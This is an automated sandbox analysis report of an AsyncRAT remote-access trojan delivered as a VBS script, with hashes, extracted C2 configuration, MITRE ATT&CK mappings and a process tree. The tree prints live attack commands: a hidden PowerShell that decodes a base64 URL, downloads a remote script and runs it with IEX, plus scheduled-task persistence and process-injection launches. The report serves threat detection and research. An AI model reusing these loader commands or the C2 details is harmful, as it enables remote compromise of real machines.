asyncrat | 7b5ff9ebc349ec7ab62d28677ea60e007db2496e2344bc19ae290da3b49cb7f4

Analysis

max time kernel
298s
max time network
293s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/05/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Voice_Eyad_Algeria_mali2026.vbs
Size 14KB
Sample260504-pcrdxaaw7x
SHA256 7b5ff9ebc349ec7ab62d28677ea60e007db2496e2344bc19ae290da3b49cb7f4
MD5 c4e273927f4427126b9879227ce16656
SHA1 bd868a48429e7dbb2571406029f067005d793445
SHA512 a2d2116f9a69ed820a1ba0690f0d1244b3a1f9d4bd41a1685236103693a13fff15ce0d61875406c55f3c325e872a243fc1275225116835254eb9ef4481e0f66a
SSDEEP 384:7DCK9+A/K8ra2btN0VJ660nSOg+FbnQl4c8TXif:B3sF0nSOg+FnQhF
TLSH
T19A6294150F23ACB6C71E9CA54563045F7BBB8820B9BE61504733EAB379A7285CA71FD0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

b01 defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://pchs3.krakencloud.net/uploads/02-05-2026/uwiNbVhD3B/image.png

Extracted

Family

asyncrat

Version

MDGO LY RAT

Botnet

freedoom.ydns.eu:6161

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1472	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1472	powershell.exe
1776	powershell.exe
4548	powershell.exe
4728	powershell.exe
3192	powershell.exe
2976	powershell.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	WScript.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral1/memory/4548-35-0x00000252F1250000-0x00000252F127C000-memory.dmp	ConfuserEx

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4548 set thread context of 4476	4548	powershell.exe	115
PID 4728 set thread context of 1860	4728	powershell.exe	116
PID 3192 set thread context of 2628	3192	powershell.exe	121
PID 2976 set thread context of 1468	2976	powershell.exe	127
PID 1776 set thread context of 1220	1776	powershell.exe	131

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Kills process with taskkill 10 IoCs

defense_evasion

pid	Process
2528	taskkill.exe
3756	taskkill.exe
928	taskkill.exe
2676	taskkill.exe
2284	taskkill.exe
3856	taskkill.exe
2548	taskkill.exe
212	taskkill.exe
1640	taskkill.exe
2504	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4980	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1472	powershell.exe
1472	powershell.exe
4548	powershell.exe
4548	powershell.exe
4728	powershell.exe
4728	powershell.exe
4476	aspnet_compiler.exe
3192	powershell.exe
3192	powershell.exe
2976	powershell.exe
2976	powershell.exe
1776	powershell.exe
1776	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	2528	taskkill.exe
Token: SeDebugPrivilege	3756	taskkill.exe
Token: SeDebugPrivilege	928	taskkill.exe
Token: SeDebugPrivilege	2676	taskkill.exe
Token: SeDebugPrivilege	2284	taskkill.exe
Token: SeDebugPrivilege	3856	taskkill.exe
Token: SeDebugPrivilege	2548	taskkill.exe
Token: SeDebugPrivilege	1640	taskkill.exe
Token: SeDebugPrivilege	2504	taskkill.exe
Token: SeDebugPrivilege	212	taskkill.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4476	aspnet_compiler.exe
Token: SeDebugPrivilege	3192	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4476	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1472	1800	WScript.exe	86
PID 1472 wrote to memory of 1696	1472	powershell.exe	92
PID 1472 wrote to memory of 2528	1472	powershell.exe	93
PID 1472 wrote to memory of 3756	1472	powershell.exe	94
PID 1472 wrote to memory of 928	1472	powershell.exe	95
PID 1472 wrote to memory of 2676	1472	powershell.exe	96
PID 1472 wrote to memory of 2284	1472	powershell.exe	97
PID 1472 wrote to memory of 3856	1472	powershell.exe	98
PID 1472 wrote to memory of 2548	1472	powershell.exe	99
PID 1472 wrote to memory of 1640	1472	powershell.exe	100
PID 1472 wrote to memory of 2504	1472	powershell.exe	101
PID 1472 wrote to memory of 212	1472	powershell.exe	102
PID 1472 wrote to memory of 4980	1472	powershell.exe	104
PID 568 wrote to memory of 4548	568	WScript.exe	107
PID 1472 wrote to memory of 3900	1472	powershell.exe	111
PID 3424 wrote to memory of 4728	3424	WScript.exe	113
PID 4548 wrote to memory of 4476	4548	powershell.exe	115
PID 4548 wrote to memory of 4476	4548	powershell.exe	115
PID 4548 wrote to memory of 4476	4548	powershell.exe	115
PID 4548 wrote to memory of 4476	4548	powershell.exe	115
PID 4548 wrote to memory of 4476	4548	powershell.exe	115
PID 4728 wrote to memory of 1860	4728	powershell.exe	116
PID 4728 wrote to memory of 1860	4728	powershell.exe	116
PID 4728 wrote to memory of 1860	4728	powershell.exe	116
PID 4728 wrote to memory of 1860	4728	powershell.exe	116
PID 4728 wrote to memory of 1860	4728	powershell.exe	116
PID 2012 wrote to memory of 3192	2012	WScript.exe	119
PID 3192 wrote to memory of 2628	3192	powershell.exe	121
PID 3192 wrote to memory of 2628	3192	powershell.exe	121
PID 3192 wrote to memory of 2628	3192	powershell.exe	121
PID 3192 wrote to memory of 2628	3192	powershell.exe	121
PID 3192 wrote to memory of 2628	3192	powershell.exe	121
PID 4292 wrote to memory of 2976	4292	WScript.exe	125
PID 2976 wrote to memory of 1468	2976	powershell.exe	127
PID 2976 wrote to memory of 1468	2976	powershell.exe	127
PID 2976 wrote to memory of 1468	2976	powershell.exe	127
PID 2976 wrote to memory of 1468	2976	powershell.exe	127
PID 2976 wrote to memory of 1468	2976	powershell.exe	127
PID 1248 wrote to memory of 1776	1248	WScript.exe	129
PID 1776 wrote to memory of 1220	1776	powershell.exe	131
PID 1776 wrote to memory of 1220	1776	powershell.exe	131
PID 1776 wrote to memory of 1220	1776	powershell.exe	131
PID 1776 wrote to memory of 1220	1776	powershell.exe	131
PID 1776 wrote to memory of 1220	1776	powershell.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Voice_Eyad_Algeria_mali2026.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByName((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method, [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wY2hzMy5rcmFrZW5jbG91ZC5uZXQvdXBsb2Fkcy8wMi0wNS0yMDI2L3V3aU5iVmhEM0IvaW1hZ2UucG5n')) )|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByName"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn devil /f
    3⤵
    PID:1696
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3756
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:928
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2676
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3856
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2548
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:212
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /XML C:\Users\Public\Music\/Googless.xml /TN devil
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4980
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn devil
    3⤵
    PID:3900

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\Music\ERMQQATKFQF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4476

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1860

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2628

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1468

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1220

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c3c48b8887bce6027d8b4b286a4c9bf3653c91cc1cb8d1105ae00a48d9df4dd1
MD5 492d94bf590a911a8cea1e97681fa847
SHA1 fbe69514da0983025cce526514b963ee25d90a95
SHA512 bfe89a6ce42caab7807a8d361e91d0d77b508a8afbd8ff1976d9ac1b831e0f740efbf5c420ca601290a50970f4f12bcba1815df062b066b12fcc4725f8636267
TLSH
T1C7710E323275B1D4C9567F071E28198063BF4386EA94AF5CB258625ED92641B9F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

aspnet_compiler.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_compiler.exe.log
Size 425B
SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
MD5 4eaca4566b22b01cd3bc115b9b0b2196
SHA1 e743e0792c19f71740416e7b3c061d9f1336bf94
SHA512 bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1
TLSH
T112E0AB303321E0D489422F821C1C769503EF0359A110EE183848125FD4251172B312E3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b4dc4acd6753028b951ccaa769884fef1f44cd1fee86578aaf0da0c0acd4b98d
MD5 004b6abfc5633e3e64c17f8b1d827a8a
SHA1 d80c7e143c460d71a870efc33230f68c58eb56a4
SHA512 6781cd3059ea4839a4dd2188d6c41e49a97cefe85bd762d1181e860f20a6bb783f5c0a2dc63f75d08766881684785f0e20efdaaa54993168cb0827bcc803659f
TLSH
T18E115727B39C89A1CC96163A409D9C1172B687D7419EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b9bc217f3644a32773c73b8dad104d3e55e4dcb79d933685022356b8ad6470fd
MD5 5389d923d1e6586728ab938e0c982299
SHA1 8e3b1cb4a97e2d5d79435754d12797fe23f78ad0
SHA512 03297dd01892313cb76378869dc8dc6056040aeb1088d2896c3b18cd85eccb13a4a9324d58f3b46f04d37a638abfdf9cde3b1aa9b399aa9da3ddb6e337659459
TLSH
T162115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F984CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 05fe48a93a9dc617140f1f6aa6c5ba18f517421eeec2ab401d7ca552a56b9c2b
MD5 4fd6f8b89231beffe37e825888061ffd
SHA1 dd08b79ec6f29508c9fd8986a35c2b5958abde89
SHA512 fcddbc4a06ac96133467e9f255bdf1ab425db898d1229be035cb2e4f442f073f125b7c8c5d8d56236f7ab73ad485352d7d78eea98ea813df76efa157af623b63
TLSH
T1F5218427B3DC8821CC96223A109D9C1076B6C3DB81AFCF9F6FC0D614A17F998CB61180
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e8fe5c6da1f6982470c8523188437326e2b14af3574642a7dc3eefdeca229ef2
MD5 e4576660ebfb0f2d64ea5af0b8507411
SHA1 9439a04713d9a4bc2fc646dbaba702323169c1cb
SHA512 8dbdf791d9e6107f17f7e8a0136c321d4163000a56652bd96a3febff6bd9f7c7123c2a635ba591b17c6ae863f65daa634fafea07378cbb3ba8bdffc31a461bfc
TLSH
T1F4115727B39C89A1CC86153A409D9C1172B683DB40AEDFDF6FC0D214E57F584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ii3bjorl.ifb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ii3bjorl.ifb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

COJLCAHTKUTB.NRXED

Path C:\Users\Public\Music\COJLCAHTKUTB.NRXED
Size 670KB
SHA256 dea1e90127c8030d532c2d17519682c1a11a774e564c185e993dcb3c89d6579b
MD5 a335e850f58548733638131c5335c3de
SHA1 9820f70540bcabad748b9a7043f5304644708a0b
SHA512 8d914aa6bb4bcb658e5b0fbffa8335cbd1a07fe58623aebd4d97a2163bc3e47dbd8cfb6801d56da1be1a4610b7920347f5415643f6f29e5abd10afde781e12aa
SSDEEP 3072:if4VHFo9/GyClh4ZW8aTcf79tLGdJnW6cTP73SRigQ2i35nbZ6t1O7mgBpla49mo:+5hq+1MGuWbfaYpx
TLSH
T159E4608728067941D43A07933BDAFF04CD30C11A8ADF46A652E5FAE8269B7435F6B077
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ERMQQATKFQF.vbs

Path C:\Users\Public\Music\ERMQQATKFQF.vbs
Size 246B
SHA256 639814200de9a73241038c0cc97fceabf8fb65e63e5fc9e65e66d3db930c507e
MD5 501f6c9d302f73ecda8e4734aa7d012c
SHA1 5f7922d9c3b4dae3b9ba8569856dc919693542fd
SHA512 301aee8f8ee571462c0b1e43c3962f22146b0509f16544a961df36c0335522019e2c286ab049cf967a082acd36f46006aa609a1efc8b71bd87c664efeb8de2c8
TLSH
T1D4D09701A02B8A595B6FE1D7B8C046A0C520AA18303C59A1F621C258390822CE3C33C2
MD5 SHA1 SHA512 TLSH

Submit Download

Googless.xml

Path C:\Users\Public\Music\Googless.xml
Size 1KB
SHA256 7392c08755d11b3543226b21bfa1d43c7dd9ebafec43555fdee6832b9d9469d4
MD5 f0de4b9e48781a2a0e47c715a9c7374e
SHA1 2cd746e2ff2fece9b966e432e1b00ed20ae203dd
SHA512 68334977afa6e00cb21c94a19c1b864192e9304638b006034056d437b949578d63a4c5da0ce25f3e00a6a5a47b65c7fd9a3fb496bd39dfb2cc1ba9e7e9c73110
TLSH
T12721BB1559C0721FA5338233D651A782FF2287A34A6B4135B8CC4B2F2FB544AA143866
MD5 SHA1 SHA512 TLSH

Submit Download

memory/568-19-0x000001E23D4C0000-0x000001E23D4CC000-memory.dmp

Download

memory/568-20-0x000001E23D890000-0x000001E23D93D000-memory.dmp

Download

memory/1220-131-0x00000000006B0000-0x00000000006D4000-memory.dmp

Download

memory/1248-120-0x0000026BB81C0000-0x0000026BB826D000-memory.dmp

Download

memory/1248-119-0x0000026BB64D0000-0x0000026BB64DC000-memory.dmp

Download

memory/1468-104-0x0000000000C80000-0x0000000000CA4000-memory.dmp

Download

memory/1472-2-0x00000279F7610000-0x00000279F7620000-memory.dmp

Download

memory/1472-21-0x00000279F71D0000-0x00000279F71DC000-memory.dmp

Download

memory/1472-3-0x00000279F7610000-0x00000279F7620000-memory.dmp

Download

memory/1472-22-0x00000279F7620000-0x00000279F76CD000-memory.dmp

Download

memory/1472-15-0x00000279F7610000-0x00000279F7620000-memory.dmp

Download

memory/1472-33-0x00000279F71D0000-0x00000279F71DC000-memory.dmp

Download

memory/1472-16-0x00000279F7610000-0x00000279F7620000-memory.dmp

Download

memory/1472-11-0x00000279F7940000-0x00000279F7962000-memory.dmp

Download

memory/1472-34-0x00000279F7620000-0x00000279F76CD000-memory.dmp

Download

memory/1776-134-0x0000023FE69A0000-0x0000023FE6A4D000-memory.dmp

Download

memory/1776-133-0x0000023FCE1D0000-0x0000023FCE1DC000-memory.dmp

Download

memory/1800-0-0x00000204A3730000-0x00000204A373C000-memory.dmp

Download

memory/1800-1-0x00000204A5420000-0x00000204A54CD000-memory.dmp

Download

memory/1860-54-0x0000000000740000-0x0000000000764000-memory.dmp

Download

memory/2012-65-0x000001D6ECB50000-0x000001D6ECBFD000-memory.dmp

Download

memory/2012-64-0x000001D6ECB10000-0x000001D6ECB1C000-memory.dmp

Download

memory/2628-77-0x0000000000BD0000-0x0000000000BF4000-memory.dmp

Download

memory/2976-107-0x0000027648280000-0x000002764832D000-memory.dmp

Download

memory/2976-106-0x0000027647FE0000-0x0000027647FEC000-memory.dmp

Download

memory/3192-80-0x00000196C3D20000-0x00000196C3DCD000-memory.dmp

Download

memory/3192-79-0x00000196AB570000-0x00000196AB57C000-memory.dmp

Download

memory/3424-36-0x000001B8F6D80000-0x000001B8F6D8C000-memory.dmp

Download

memory/3424-37-0x000001B8F8A30000-0x000001B8F8ADD000-memory.dmp

Download

memory/4292-93-0x0000028E98560000-0x0000028E9860D000-memory.dmp

Download

memory/4292-92-0x0000028E968C0000-0x0000028E968CC000-memory.dmp

Download

memory/4476-52-0x0000000004F00000-0x0000000004F0A000-memory.dmp

Download

memory/4476-62-0x0000000000650000-0x0000000000674000-memory.dmp

Download

memory/4476-51-0x0000000004F10000-0x0000000004FA2000-memory.dmp

Download

memory/4476-50-0x00000000052D0000-0x0000000005874000-memory.dmp

Download

memory/4476-39-0x0000000000190000-0x00000000001A8000-memory.dmp

Download

memory/4548-57-0x00000252F12A0000-0x00000252F134D000-memory.dmp

Download

memory/4548-56-0x00000252EF300000-0x00000252EF30C000-memory.dmp

Download

memory/4548-38-0x00000252F0CD0000-0x00000252F0CD6000-memory.dmp

Download

memory/4548-35-0x00000252F1250000-0x00000252F127C000-memory.dmp

Download

memory/4728-60-0x00000266269B0000-0x00000266269BC000-memory.dmp

Download

memory/4728-61-0x000002663F0E0000-0x000002663F18D000-memory.dmp

Download